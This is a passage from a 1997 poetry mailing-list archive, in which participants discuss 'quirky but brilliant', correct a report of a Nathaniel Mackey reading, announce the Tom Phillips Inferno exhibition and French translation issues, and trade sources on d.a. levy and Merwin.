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186. Eric Blarnes
Re: Quirkiness
Mon 10 Nov 1997

On a rather sunny but bleak and overcast but brilliant afternoon, the irascible but gentle Jack Spandrift was resting his butt in the leather but naugahyde saddle but saddless horse but horseless carriage he called Ford Pinto just before it wouldn't start but exploded!! And Jack, flying but falling into but out of the air would have splattered but landed safely but for his stirrups which snagged but slipped but eventually snagged on a flimsy but brilliant cloud in a twister over a large but puny Butte called Montana but also called Idaho! But lucky, Jack!

A Tall but Rather Small Cowboy But Story by Eric Blarnes

↑ Index

187. Michael Magee
Re: Quirkiness
Mon 10 Nov 1997

I'd say "quirkiness" and "brilliance" go pretty much hand and hand for me, so I'm w/ Jeff. In fact, quirk is one of those great words which the OED lists as "of obscure origin," which makes it all the more quirky, as lots of Q words are, "quibble" for example, which is generally assumed to be a hybrid of "quip" and "gibe," but who knows. I spent an afternoon in the Q section of my dictionary, along with some forays into the a's and i's for more Q-associated words. The result was the following piece of writing:

> Q: A MANY FACED O
>
> inquisitiveness is acquisitiveness
> without acquisitions a
> quest without questionable acquest
> a quake or quaver in the
> aquiclude makes it acquit
> what it''s acquired
> aquiclude become an aquifer
> of inferences querying inquests
> and inquisitions qualifying
> a quote''s quality in a

quota of queered quirks
acquiring inquietude
acquisitive become a quiz
it if to acquiesce unquietly
to questioning acquaintances
getting acquainted
with how a fella like Attilla
could kill Aquileia
never quell quill quibble
questions qua actions
aqui aqui aqui

-Mike.

According to Jeff Hansen: >
> Aviva Yogel describes a C.D. Wright lecture as "quirky but brilliant."
> Why the "but"? Aviva seems to be saying quirky and brilliant. Yet the
> but remains. The word is supposed to join contrasting elements, such as
> "not bagels, but doughnuts." Here, it is joining seemingly contrasting
> elements that are in fact not so. A synonymous phrase would be, I
> think, "while quirky, neverless brillant."
>
> Funny, I don't dissassociate quirkiness from brilliance at all. I
> think the former is a component of the latter. I'd be startled at a
> brilliant lecture that was not quiky.
>
> What do you'll think?
>

↑ Index

188. **Aviva Vogel**
Re: Quirkiness
Mon 10 Nov 1997

In a message dated 97-11-10 14:10:27 EST, you write:

<< Aviva Vogel describes a C.D. Wright lecture as "quirky but brilliant." Why the "but"? Aviva seems to be saying quirky and brilliant. Yet the but remains. The word is supposed to join contrasting elements, such as "not bagels, but doughnuts." Here, it is joining seemingly contrasting elements that are in fact not so. A synonymous phrase would be, I think, "while quirky, neverless brillant."

 Funny, I don't dissassociate quirkiness from brilliance at all. >>

I suppose the "but" occurred because I was initially disappointed or frustrated with a lecture that was delivered with some of the same associative leaps and syntactical experiments (on a very mild scale, relatively speaking) that C.D. tends to use with her poetry. Having at first hoped for a more prosaically-expressed lecture, as I'm used to, I felt myself having trouble engaging fully...until about midway through, I'd become accustomed to her delivery, and could hear with more flexible ears. Suddenly, I was engaged on several levels; the usual "listening to a good lecture" level which is quite analytical, and the unusual "listening to a poem" level which is more intuitive. The first kind of listening is generally a more linear experience, while the second kind is generally a more global experience. Part of C.D.'s brilliance, I have concluded, comes from her ability to offer a lecture that stimulated and occupied both kinds of listening processes.

--Aviva

↑ Index

189. **Keith Tuma**
Re: Mackey reading at Penn
Mon 10 Nov 1997

On Mon, 10 Nov 1997 13:21:08 -0500 you said:

> *I just saw a reading that Mackey gave with his wife at Brown University, and I have to say that it was one of the most boring readings I have ever been to. Of course, maybe that is because I have a hard time with "language" poetry, but he seemed exceptionally vague, with no method to the madness at all...sorry, but that just ain't poetry in my book.*
>
> *Brent*

I know that "language" poetry or "language poetry" or language poe"try" covers just about everything from Hans Jonas to Rin Tin-Tin these days, but you'll have to explain to me how it covers these gnostic riffs from Nate Mackey's "Songs of the Andoumboulou: 12":

Weathered raft I saw myself
adrift on.

Battered wood I dreamt I
drummed on, driven.

Scissored rose, newly braided
light, slack hoped-for rope
groped at, unraveled.

Braided star
we no longer saw but remembered,

threads overlapping the rim
of a sunken world, rocks we
no longer saw by extinguished,
Namoratunga's long-tethered
light.

That's the opening anyway--apologies for lineation inexactitude resulting from the program.

The point is that you'll read all day and all night in the "lan"guage poets I know, from Andrews to Tin-Tin, without finding anything much looking like this.

"Decay thrusts the blade" but only frustration delurks,
Keith

↑ Index

190. Steve Evans
Re: Mackey reading at Penn
Mon 10 Nov 1997

Just for the record, Nate Mackey read solo (no wife) at Brown on 16th October 1997, doing a set entirely drawn from the *Song of the Andoumboulou* cycle (no particular affiliation with "language" poetry). Of the fifty or more people there, few that I spoke with shared Brent's opinion. The *Song* chronicles the wanderings of a spectral collective, a sort of rough sketch for a possible humanity, through mishaps sexual, musical, and unusual. It'd be poetry in most books.

Come to think of it, Brent probably means to point the polemical finger at P. Inman, who on 8 October read his work, often rhythmed out of sub-lexical morphemes, with Tina Darragh. While I would heartily dispute Brent's dismissive take on the event, the response seems more likely directed there than at Mackey.

Steve Evans

Brent Long writes:
>I just saw a reading that Mackey gave with his wife at Brown University,
>and I have to say that it was one of the most boring readings I have ever
>been to. Of course, maybe that is because I have a hard time with
>"language" poetry, but he seemed exceptionally vague, with no method to the
>madness at all...sorry, but that just ain't poetry in my book.

↑ Index

191. Michael Magee
Re: Mackey reading at Penn
Mon 10 Nov 1997

Thanks, Steve, for the clarification. Hope to see some of you at the event.
-Mike.

According to Steve Evans:
>
> Just for the record, Nate Mackey read solo (no wife) at Brown on 16th
> October 1997, doing a set entirely drawn from the *Song of the
> Andoumboulou* cycle (no particular affiliation with "language" poetry). Of
> the fifty or more people there, few that I spoke with shared Brent's
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> P. Inman, who on 8 October read his work, often rhythmed out of sub-lexical
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>
> Steve Evans
>
> Brent Long writes:
> >I just saw a reading that Mackey gave with his wife at Brown
> University,
> >and I have to say that it was one of the most boring readings I
> have ever
> >been to. Of course, maybe that is because I have a hard time with
> >"language" poetry, but he seemed exceptionally vague, with no
> method to the
> >madness at all...sorry, but that just ain't poetry in my book.
>

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192. r.drake
Una Selva Oscura: Tom Phillips's Inferno
Mon 10 Nov 1997

---

fans of _A Humument_ might find this ov interest...

Date: Mon, 10 Nov 1997 12:53:54 -0600
From: Kevin Ray <[redacted]>
Subject: Una Selva Oscura: Tom Phillips's Inferno
To: [redacted]

Washington University's Department of Special Collections presents "Una Selva Oscura: Tom Phillips's Inferno." This exhibition will be on view from 3 November 1997 through 5 January 1998 in Olin Library. This exhibition is part of Washington University's conference "The Dual Muse: The Writer as Artist, The Artist as Writer," 7-9 November, 1997.

In the late 1970s, Tom Phillips began a project to both illustrate and translate Dante's _Inferno_. If translation is always a doubled process, shifting and transforming the language into which a work is translated, Phillips's doubled transit would be of a far greater complexity. It was to be, truly, a dual translation, from Dante's Italian into contemporary English, but also from one language of the page, the chiefly verbal, into another, the verbal-visual combined glyph of the illustrated book.

"Una Selva Oscura" will show the process of the Phillips _Inferno_, from the surviving proofs of the first, fire-destroyed version, through the notebooks and manuscripts in which Phillips works out not only text and illustrations but also the physical structure and arrangement of the book itself, to the final edition, produced at Phillips's own Talfourd Press.

Drawing on the magnificent resources of the Ruth and Marvin Sackner Archive of Concrete and Visual Poetry, the exhibition concludes with a single page, the spectral, shroudlike image of ink on the carbon-paper backing Phillips used in typing out his translation. Though no word is clear or legible, the whole of it faintly suggestive of a face, like Veronica's napkin or the ghost images revealed in x-rays, this page, a summation, bears the impression of every word of Dante's text, as the word itself, repeating and echoing, becomes an image, an icon.

Special Collections has produced a 26-page, full-color exhibition catalog for this exhibit, available for $10.00. To order a catalog, or for more information, contact:
Special Collections -- email: [redacted]
phone: [redacted]
fax: [redacted]

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193. Aldon Nielsen
Re: Mackey reading at Penn
Mon 10 Nov 1997

---

last I saw Mackey and his wife, she was working on a promising book about Genet -- As far as I know, they've never "read" together, though I've seen them reading at the same time --

On the other hand, it would be pretty hard to mistake Pete Inman and Tina Darragh for Nataniel & Pascal Mackey --

so . . . what DID happen at the reading????????

↑ Index

194. Laura Moriarty
French poets
Mon 10 Nov 1997

When Danielle Collobert was mentioned a few days ago I asked Norma Cole to email me the details of her translation of Collobert. The book is called It Then and was published by O Books in 1989.

http://www.OBooks.com/

Another source of contemporary French writing, including more Collobert, (I can't remember whether this was already posted) is Violence of the White Page/Contemporary French Writing edited by Stacey Doris, Emmanuel Hocquard and Phillip Foss and published by Foss as an issue of Tyuonyi.

Norma also provided the following info about the upcoming translation issue of Raddle Moon about which Susan Clark has also posted:

Raddle Moon 16: TWENTY-TWO NEW (to North America) FRENCH WRITERS!!!! Probably all born after 1950, some even after 1960. Or younger!!!! Edited by Norma Cole & Stacy Doris, with translations by 22 American writers, this new issue should be out sometime in the next week or two. Check out RM website.

http://www.wimsey.com/~ksw/pnet/publicat/raddle/rm.htm

To celebrate the new issue:
New York reading 3 p.m. Saturday November 22 at the Center for Independent Art, 145 6th Ave. (bet. Spring & Broome) NYC.
San Francisco reading 7:30 p.m. Thursday December 11 at Canessa Park Gallery, 708 Montgomery St. (at Columbus).

Distributors:-- CANADA: The Canadian Magazine Publishers Assn., 2 Stewart St., Toronto Ontario M5A 1H6 and by Raddle Moon, #518-350 East 2nd

Avenue, Vancouver B.C. V5T 4R8 USA: SMALL PRESS DISTRIBUTION, 1341 Seventh Street, Berkeley CA 94710-1403 [redacted] phone [redacted]; fax [redacted]; outside Bay Area phone [redacted] UK: Paul Green, Spectacular Diseases, 83b London Road, Peterborough, Cambs. AUSTRALIA: Collected Works Bookshop, 1st Floor, 238 Flinders Lane, Melbourne 3000, Victoria

↑ Index

195. **Brent Long**

Re: Mackey reading at Penn

Mon 10 Nov 1997

I stand corrected...it was indeed P. Inman that I was thinking of...my apologies.

Brent

At 03:24 PM 11/10/97 -0500, you wrote:
>Just for the record, Nate Mackey read solo (no wife) at Brown on 16th
>October 1997, doing a set entirely drawn from the *Song of the
>Andoumboulou* cycle (no particular affiliation with "language" poetry). Of
>the fifty or more people there, few that I spoke with shared Brent's
>opinion. The *Song* chronicles the wanderings of a spectral collective, a
>sort of rough sketch for a possible humanity, through mishaps sexual,
>musical, and unusual. It'd be poetry in most books.
>
>Come to think of it, Brent probably means to point the polemical finger at
>P. Inman, who on 8 October read his work, often rhythmed out of sub-lexical
>morphemes, with Tina Darragh. While I would heartily dispute Brent's
>dismissive take on the event, the response seems more likely directed there
>than at Mackey.
>
>Steve Evans
>
>Brent Long writes:
> >I just saw a reading that Mackey gave with his wife at Brown
>University,
> >and I have to say that it was one of the most boring readings I
>have ever
> >been to. Of course, maybe that is because I have a hard time with
> >"language" poetry, but he seemed exceptionally vague, with no
>method to the
> >madness at all...sorry, but that just ain't poetry in my book.
>
>

↑ Index

196. L.MacMahon and T.R.Healy

Re: Other poetry discussions

Mon 10 Nov 1997

At 13:30 05/11/97 -0500, you wrote:
 I saw a posting today announcing Rosmarie Waldrop's upcoming reading
>tonight, but she and her work are never discussed here, either, and that is
>a shame. She and her husband are both amazing poets.
>
>Brent
>
Couldn't agree more. I've just finished reading Keith Waldrop's _The Silhouette of the Bridge_ a wonderfully rich exploration/celebration of memory, its products and processes. Some quotes:

A singer's death is more affecting than that of a writer, since a poem or a story stands at more of a distance from the body that has produced it.

The theme of the body is returned to later in a section featuring Keith's dentist.
e.g.

"Poetry," he once murmured, his hand in my mouth, "can you live off of poetry? I mean now," he goes on, since I can't answer, "everybody has teeth."

The dental meditations are interspersed with pieces dealing with desert hermits and Sister Josefa, a victim-saint who willingly went to hell taking on the sins of others. Satan didn't get much change out of her however because of her invincible innocence.

Think how Satan must have scrutinized every fiber, every synapse, for an entrance - eternal he may be, but his space is limited - and he could not find one.

One could go on an on. Wonderful characters sketched, ideas great and small held up and looked at, the unique minutiae, vast systems, a real sense of a rich and nimble mind. A mind too that is not so particularly impressed with itself thus a style that is endlessly engaging and oh just read. Do.

Randolph Healy.

↑ Index

197. **Maria Damon**

Re: Quirkiness

Mon 10 Nov 1997

---

i used to think quirky and brilliant went together, but then i got an academic job where i have met many people who are very smart but have never had an original thought in their lives. it threw me for a loop initially, but now i see it more and more. i used to just not consider these people brilliant or even smart, but maybe my standards have relaxed, faute de mieux.

At 2:17 PM -0500 11/10/97, Michael Magee wrote:
>I'd say "quirkiness" and "brilliance" go pretty much hand and hand for me,
>so I'm w/ Jeff. In fact, quirk is one of those great words which the OED
>lists as "of obscure origin," which makes it all the more quirky, as lots
>of Q words are, "quibble" for example, which is generally assumed to be a
>hybrid of "quip" and "gibe," but who knows. I spent an afternoon in the Q
>section of my dictionary, along with some forays into the a's and i's for
>more Q-associated words. The result was the following piece of writing:
>
>
> Q: A MANY FACED O
>
> inquisitiveness is acquisitiveness
> without acquisitions a
> quest without questionable acquest
> a quake or quaver in the
> aquiclude makes it acquit
> what it'ís acquired
> aquiclude become an aquifer
> of inferences querying inquests
> and inquisitions qualifying
> a quote'ís quality in a
> quota of queered quirks
> acquiring inquietude
> acquisitive become a quiz
> it if to acquiesce unquietly
> to questioning acquaintances
> getting acquainted
> with how a fella like Attilla
> could kill Aquileia
> never quell quill quibble
> questions qua actions
> aqui aqui aqui

>
>
>-Mike.
>
>
>According to Jeff Hansen: >
>> Aviva Yogel describes a C.D. Wright lecture as "quirky but brilliant."
>> Why the "but"? Aviva seems to be saying quirky and brilliant. Yet the
>> but remains. The word is supposed to join contrasting elements, such as
>> "not bagels, but doughnuts." Here, it is joining seemingly contrasting
>> elements that are in fact not so. A synonymous phrase would be, I
>> think, "while quirky, neverless brillant."
>>
>> Funny, I don't dissassociate quirkiness from brilliance at all. I
>> think the former is a component of the latter. I'd be startled at a
>> brilliant lecture that was not quiky.
>>
>> What do you'll think?
>>

↑ Index

198. **Maria Damon**

Re: Mackey reading at Penn

Mon 10 Nov 1997

---

just a mackey side-note: i taught his work to my "experimental poetry" class for the first time last week. their response: "why is this experimental? this seems just like --poetry." it was a compliment, or their way of saying that content seemed really important.

At 3:24 PM -0500 11/10/97, Steve Evans wrote:
>Just for the record, Nate Mackey read solo (no wife) at Brown on 16th
>October 1997, doing a set entirely drawn from the *Song of the
>Andoumboulou* cycle (no particular affiliation with "language" poetry). Of
>the fifty or more people there, few that I spoke with shared Brent's
>opinion. The *Song* chronicles the wanderings of a spectral collective, a
>sort of rough sketch for a possible humanity, through mishaps sexual,
>musical, and unusual. It'd be poetry in most books.
>
>Come to think of it, Brent probably means to point the polemical finger at
>P. Inman, who on 8 October read his work, often rhythmed out of sub-lexical
>morphemes, with Tina Darragh. While I would heartily dispute Brent's
>dismissive take on the event, the response seems more likely directed there

>than at Mackey.
>
>Steve Evans
>
>Brent Long writes:
> >I just saw a reading that Mackey gave with his wife at Brown
>University,
> >and I have to say that it was one of the most boring readings I
>have ever
> >been to. Of course, maybe that is because I have a hard time with
> >"language" poetry, but he seemed exceptionally vague, with no
>method to the
> >madness at all...sorry, but that just ain't poetry in my book.

↑ Index

199. Maria Damon
Re: Mackey reading at Penn
Mon 10 Nov 1997

---

ps nate's wife is a wonderful jean genet scholar so i'd be interested to know what she read.

At 3:22 PM -0500 11/10/97, Keith Tuma wrote:
>On Mon, 10 Nov 1997 13:21:08 -0500 you said:
>
>>> I just saw a reading that Mackey gave with his wife at Brown University,
>>> and I have to say that it was one of the most boring readings I have ever
>>> been to. Of course, maybe that is because I have a hard time with
>>> "language" poetry, but he seemed exceptionally vague, with no method to
the
>>> madness at all...sorry, but that just ain't poetry in my book.
>
> > Brent
>
>I know that "language" poetry or "language poetry" or language poe"try" cov-
ers
>just about everything from Hans Jonas to Rin Tin-Tin these days, but you'll
>have to explain to me how it covers these gnostic riffs from Nate Mackey's
>"Songs of the Andoumboulou: 12":
>
> Weathered raft I saw myself
> adrift on.
>

> Battered wood I dreamt I
> drummed on, driven.
>
>Scissored rose, newly braided
> light, slack hoped-for rope
> groped at, unraveled.
>
> Braided star
> we no longer saw but remembered,
> threads overlapping the rim
> of a sunken world, rocks we
> no longer saw by extinguished,
> Namoratunga's long-tethered
> light.
>
>That's the opening anyway--apologies for lineation inexactitude resulting from
>the program.
>
>The point is that you'll read all day and all night in the "lan"guage poets
>I know, from Andrews to Tin-Tin, without finding anything much looking like
>this.
>
>"Decay thrusts the blade" but only frustration delurks,
>Keith

↑ Index

200. Carl Lynden Peters
d.a. levy
Mon 10 Nov 1997

Dear Poets,

does anyone know of any critical work out there on _d.a. levy_?
i wld appreciate any info. and thanx in advance.
please call me back door if u wish.

carl

↑ Index

201. David R. Israel
(Fwd) Re: Talk by Spivak
Mon 10 Nov 1997

(Has this been reported here already?) -- just in case not,

> *Gayathri Spivak is to give a lecture "Theory - Remains"*
> *in Manhattan (at the Drawing Center - Wooster St.)*
> *When-and-where: Friday, Nov 21, 7 pm. $10.*
> *The Drawing Center is located at 35 Wooster, betn Broome and Grand.*

d.i.

↑ Index

202. **Susan Clark**
Re: French poets
Mon 10 Nov 1997

Unfortunately, the web site that Laura posted

http://www.wimsey.com/~ksw/pnet/publicat/raddle/rm.htm

which appears on the masthead of our recent issue is no longer functional as its provider [wimsey.com] is defunct. We are re-building it and getting a new ISP. It should be ready in a couple of weeks and will have ordering information and full tables of contents for past and forthcoming issues and -- probably later -- a small portfolio of work from recent and forthcoming issues. I'll post to the list as soon as it's up.

Everything else Laura says is true!

Susan

Susan Clark
RADDLE MOON
[redacted]

↑ Index

203. **David R. Israel**
Re: Honig online
Mon 10 Nov 1997

Henry Gould wrote,

> *For people interested in Edwin Honig's poetry, a large portion of his collected poems, titled TIME & AGAIN - POEMS 1940 - 1995, is now online at the Contemporary American Poetry Archive. The site is still under construction . . .*
>
> *Honig has been struggling to find a publisher for this massive collection, but in the meantime Wendy Battin, Charles Hartman, & their helpers at CAPA are providing a very heartening service. CAPA address:*
> *http://capa.conncoll.edu.*

I looked at that address and searched around varous pages, but found nor hide nor hair of Honig. (nor of a contemp. po archive)

Can you give a more particular URL?

d.i.

↑ Index

204. **David R. Israel**
Re: Merwin
Tue 11 Nov 1997

Mark P., --

as one much drawn to Mewin & having considerable respect for Marjorie Perloff's tremendous critical chops (and sharing interest in much that she celebrates), your mention of an essay (scathing or otherwise) by her re: him, makes me curious. Do you happen to know where that's located?

The turns you mention in Merwin's work seem right, but would I'd add that he has taken further turns *After* the 70s material. The work in *Travels* exemplifies one such, and what's found in *The Vixen* seems a further development, in a rather different stride from anything before -- in which the "concerns" of the 60s work is layered within a new mode of formalism quite different from his original (50s) formalism, but maybe echoing it (very distantly, or somehow) -- with a few exceptions, where formalism (in old sense) is explicit, as in the remarkable poem "Search Party" (based on Villon) . . .

a few old poems, such as "The Way to the River" and one called (if memory serves) "A Hymn to the Eyes" (both prob. from the *Carrier of Ladders* / *Drunk in the Furnace* period more or less) -- or one entitled "Route with No Number", are among those that occasioned repeated readings (in recent few years). My involvement with the evocations of *Finding the Islands* was partly related to painting, as some of the Jungianisms therein (and the way in which a melding of *ghazal* with *haiku* seemed to occur) found place in my colored notebooks; -- anyone interested to have some sense of where WSM is at these latter days could do worse than to peruse the title poem of *The Vixen* -- a summary poem, seems . . .

well, I know I'm in a minority here, n'est pa? I started reading Merwin when I started reading Scalapino & Palmer (& thence Creeley & Ashbery & whatnot, circa some mere decade & half ago -- and carry all these motley strands along still . . . , w/ delight) -- maugre the hubub of schools, I loves 'em

d.i.

↑ Index

205. George Bowering
Re: Other poetry discussions
Tue 11 Nov 1997

You might also mention Ted Berrigan and his widow. Both excellent poets. Not to mention Creeley and his ex-wife. I thought that Browning was a better poet than his wife, but Shelley wasnt as good a novelist as HIS wife.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

206. Aviva Vogel
Merwin's Ghazal & Haiku Thing
Tue 11 Nov 1997

In a message dated 97-11-11 01:23:06 EST, you write:

<< melding of
 ghazal with *haiku* >>

I had sensed this kind of syncretism in Merwin's work (what little I've read of it). Thanks for pointing it out. I hadn't put words to it. --Aviva

↑ Index

207. mark weiss
Re: Other poetry discussions
Tue 11 Nov 1997

Nor as good a swimmer.

At 10:41 PM 11/10/97 -0700, you wrote:
>You might also mention Ted Berrigan and his widow. Both excellent poets.
>Not to mention Creeley and his ex-wife. I thought that Browning was a
>better poet than his wife, but Shelley wasnt as good a novelist as HIS wife.
>
>
>
>
>George Bowering.
> ,

>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>
>

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208. **Maria Damon (Maria Damon)**
Re: 2 fwded announcements
Tue 11 Nov 1997

At 3:31 PM 11/11/97, Rachel Loden wrote:
>> In addition, 100 copies of _Xcp: Cross-Cultural Poetics_
>> are sent to the most distinguished professors, poets, scholars, and
>> university departments and libraries in the United States and Canada.
>
>God knows it's not like me to problematize, nor (on a good day) would I
>even dream of destabilizing anyone's configuration of subjectivity. But
>this list of the "hundred most distinguished" is intriguing. Are
>nominations debated by tenured revolutionary committee?
>
>Rachel, waiting by the mailbox

geez, i missed that part of the msg. you'll have to ask mark nowak, at [redacted] for a clarification. that'll learn me to forward stuff i haven't read through: i have no idea what that means. markie?

↑ Index

209. **henry g**
Re: Honig online
Tue 11 Nov 1997

On Tue, 11 Nov 1997 00:37:34 -0400 David R. Israel said:
>Henry Gould wrote,
>
>> For people interested in Edwin Honig's poetry, a large portion of
>> his collected poems, titled TIME & AGAIN - POEMS 1940 - 1995, is now
>> online at the Contemporary American Poetry Archive. The site is
>> still under construction . . .
>
>> Honig has been struggling to find a publisher for this massive

>> collection, but in the meantime Wendy Battin, Charles Hartman, &
>> their helpers at CAPA are providing a very heartening service. CAPA
>> address:
>> http://capa.conncoll.edu.
>
>I looked at that address and searched around varous pages, but found
>nor hide nor hair of Honig. (nor of a contemp. po archive)
>
>Can you give a more particular URL?

Sorry! Here's the correct url : http://capa.conncoll.edu/

I left off the final slash. - HG

↑ Index

210. robert drake
Re: d.a. levy
Tue 11 Nov 1997

---

carl--

i'm current at work on the levy pages fr the Burning Press website; a number of sites online have sum work (best is at karl young's Light & Dust site...) will tag on what i have in process to this message.

Ingrid Swanberg's _zen concrete & etc._ is th easily available source, the texts are flawed by editing. the ghost press anthology _ukanhavyrfuckincitybak_ is great (usually cataloged by puritan librarians as "d.a. levy, a tribute to the man, an anthology of his poetry" or somesuch), most ov the text ok'd by levy... th druid books _collected poems_ has no criticism & plenty of errors but contains some work thats hard to get elsewhere. jw curry has a onepage visual essay, in his book frm runaway spoon, that totally changed my percept of levy's work--check w/ grumman fr th title...

best publicly available archive is at kent state, i think... why dont you stop by some time & we'll make a run down there together? i gotta do some checking m'self...

more later
lbd

> *Dear Poets,*
>
> *does anyone know of any critical work out there on _d.a. levy_?*
> *i wld appreciate any info. and thanx in advance.*
> *please call me back door if u wish.*

> *carl*

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</HEAD>
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<TD><H1>   da levy   </H1></TD>
<TD><IMG SRC="levy1.jpg" WIDTH="159" HEIGHT="235"></TD>
</TR>
</TABLE></CENTER>
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<HR>
<P>
da levy (1944-1968)
<UL>

<LI>Bio notes...
<LI>Bibliography of Renegade Press/7 Flowers/etc. publications
<LI>Burning Press Levy texts
<UL>

<LI><A HREF="levy_charm.html">Tombstone as a Lonely Charm</A>
<LI><A HREF="levy_suburb1.html">Suburban Monastery Death Poem</A>

</UL>
<LI>Links:
<UL>

<LI>Kurt Nimmo/Download Levy--<A HREF="http://ic.net/~knimmo/png.htm">praps 1-7</A>

<LI>Karl Young's<A HREF="http://www.thing.net/~grist/PAGE1.htm">Light&Dust</A> site:
<UL>
<LI><A HREF="http://www.thing.net/~grist/l&d/dalm00.htm">miniatures</A>
<LI><A HREF="http://www.thing.net/~grist/l&d/dalevy/dal-ts00.htm">The Tibetan Stroboscope</A>
</UL>
<LI><A HREF="http://www.csuohio.edu/tagar/levy.htm">"New Year"</A>, a

poem
courtesy of Cleveland State University's Jewish student organization.

<LI>A short <A HREF="http://www.charm.net/~brooklyn/People/DALevy.html">biographic sketch</A> by W. Luther Jett, at the <A HREF="http://www.charm.net/~brooklyn/LitKicks.html">Literary Kicks</A> Beat
site.

</UL>
</UL>
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</BODY>
</HTML>

↑ Index

211. Pierre Joris
Re: d.a. levy
Tue 11 Nov 1997

There is some writing by Eric Mottram on d.a. levy -- but can't for the life of me remember off hand where that was published -- & no time to look right now, though if I come across it I'll post -- Pierre

> *Dear Poets,*
>
> *does anyone know of any critical work out there on _d.a. levy_?*
> *i wld appreciate any info. and thanx in advance.*
> *please call me back door if u wish.*
>
> *carl*

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"I think there is a world market for about five computers.'

-Thomas J. Watson
Chairman of the Board-IBM, 1943
==========

↑ Index

212. **Tom Orange**
French poets
Tue 11 Nov 1997

---

susan clark writes in reference to raddle moon and its website:

<<We are re-building it and getting a new ISP. It should be ready in a couple of weeks and will have ordering information and full tables of contents for past and forthcoming issues and -- probably later -- a small portfolio of work from recent and forthcoming issues. I'll post to the list as soon as it's up.>>

please keep us posted susan.

to laura moriarity: any suggestions on how to locate tyuonyi -- spd?

and thanks to all those who offered suggestions re contemp frenchpo.

cheers,
t.

↑ Index

213. **Mark Prejsnar**
Re: Merwin
Tue 11 Nov 1997

David,

That was a really interesting and useful post. I'm quite tickled by your bracketting Palmer, Scalapino, Creeley and Ashbery together with Merwin. It certainly does help to shake up the seige-mentality sense of "schools" we all fall into. Your mention of time-frame is very important, I think. *When* one encounters a poet, and in what time-relation to encountering various *other* poets, always ends up having a lot to do with how they think about them. I in contrast encountered Merwin first around 1969 or 1970. At that time (and for some years thereafter) I thought of Duncan and Olson as the basis for what should be done in U.S. poetry, but saw no one who seemed to agree with me (I was about 15, mind you, and there was lots I didn't know about going on..But for that moment in time I wasn't that far off!!) So I turned to exploring work from other national and linguistic cultures, as sustenance, and that meant surrealist-derived, image-based work, very often. So that's the frame in which Merwin always recurs in my memory. But as I say, don't much like his stuff after 1970, which seems to

me to lack urgency, and to be by virtually a different poet, despite the superficial similarity of technique.

Anyway discussions like this are useful because we all give lip service to an open field of different poetries, but we still tend to have a ghettoized approach, intuitively, to thinking about conemporary work. So I think we owe (Brent, I think it was) who started the thread, some thanks. (Also I agree with him that we ought to have more discussions of recent work; ones that like this one go a bit beyond expressions of preference.)

As for Perloff's essay. I don't own the book, and I recently returned all of her books to the library (had far too many things checked out!) but the poet with whom I'm discussing it says that the essay occurs in Poetic License : essays on modernist and postmodernist lyric.

Regards,
Mark

↑ Index

214. Brian McHale
Re: Una Selva Oscura: Tom Phillips's Inferno
Tue 11 Nov 1997

More info for Tom Phillips aficionados: The videos he made with Peter Greenaway of the first VIII cantos of"Inferno" for British Channel Four (before the money dried up) are now available in the States. I saw them the other night, & they' re highly recommended. Phillips himself is featured, delivering wry commen- tary. The visuals are striking of course: evidently his input in the collabora- tion had a lot to do with the shifts in Greenaway's style that you can see in "Prospero's Books" & "The Pillow Book."

Brian

↑ Index

215. Mark Prejsnar
Puritan librarians NOT
Tue 11 Nov 1997

On Tue, 11 Nov 1997, robert drake wrote:

> *source, the texts are flawed by editing. the ghost press anthology _ukanhavyrfuckincitybak_ is great (usually cataloged by puritan librarians as "d.a. levy, a tribute to the man, an anthology of his poetry" or somesuch), most ov the text ok'd by levy... th more later*

> *lbd*

Okay foks....Here is your friendly librarian poet, with a few defensive quibbles, by way of reply to lbd, aka Robert Drake.

These days things ain't as interesting and loose and goosey here in the library world as once upon a time. You can find the cataloging used by most libraries in shared databases like OCLC (and the one most widely used IS, in fact, OCLC). Librarians don't do as much original cataloging as in the past. So you can find what is "usually" done by librarians in cataloging a given title, by checking OCLC. There are two records there for the book. Both very happily include the world fuck, and the compound word it's embedded in, in several fields of the record. Searchable fields. What lbd was thrown by is a simple cataloging rule, one that's fairly reasonable, but which derives from mainstream trade publishing, and not the more varied kind of formats often used in complexly-designed small-press poetry books and chapbooks. The rule is, that the main title (245 field in the MARC format) is what appears on the title page. According to all the records,D.A. Levy : a tribute to the man, etc. appears on the title page. The long compound word with fuck in it appears on the cover, and *all* cataloging practice for a very long time has considered that the *cover title*...But it is given in the records, quite clearly. Honestly, what lbd noticed has *nothing* to do with the four-letter word...Go look in OCLC and you'll find dozens of books with that word in the title. Nothin' to do with puritans. (Anyway, as a huge fan of Christopher Hill and the radicals who made the English Revolution and chopped off the king's head, I resent the comment on behalf of BOTH librarians AND puritans!!)

Huffily in Atlanta
Mark P.

↑ Index

216. David Zauhar
Re: d.a. levy
Tue 11 Nov 1997

Carl:

I don't know if it's been mentioned yet, but Hugh Fox has some early preliminary stuff on Levy that, if memory serves, isn't bad, in a book called something like _The Living Underground_. From the early 70s, I think. Also, I attended an academic conference this past weekend at which a graduate student presented a paper on levy. There was more Lyotard and co. than d.a. levy in it, but if you're interested, contact me backchannel and I'll give you her name and address so you can write for the paper.

David Zauhar
University of Illinois at Chicago

"WHEREVER A BOOK CLOSES A WRITING BEGINS"
--Steve McCaffery.
> >
> > >Dear Poets,
> > >
> > >does anyone know of any critical work out there on _d.a. levy_?
> > >i wld appreciate any info. and thanx in advance.
> > >please call me back door if u wish.
> > >
> > >carl
> >
>
>
> --
> ==========
> pierre joris 6 madison place albany ny 12202
> tel/fax [redacted] email:[redacted]
> http://www.albany.edu/~joris/
> ---
> "I think there is a world market for about five computers.'
>
> -Thomas J. Watson
> Chairman of the Board-IBM, 1943
> ==========
>

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217. henry gould
quote for the day
Tue 11 Nov 1997

"The suggestion that the artist's perception of the world is more complex and intricate than that of the audience (NOT TO MENTION THAT OF HIS CREATIVE FOREBEARS) [note: "bears" - ed.] is ultimately undemocratic and unconvincing.. . The proposition that the artist feels, comprehends and expresses something unattainable by the ordinary person is no more convincing than the suggestion that the artist's physical pain, hunger, and sexual satisfaction are more intense than those of a commoner. [He's been reading his elizabethans - ed.] True art is always democratic precisely because there is no denominator more common, whether in society or history, than the sense that

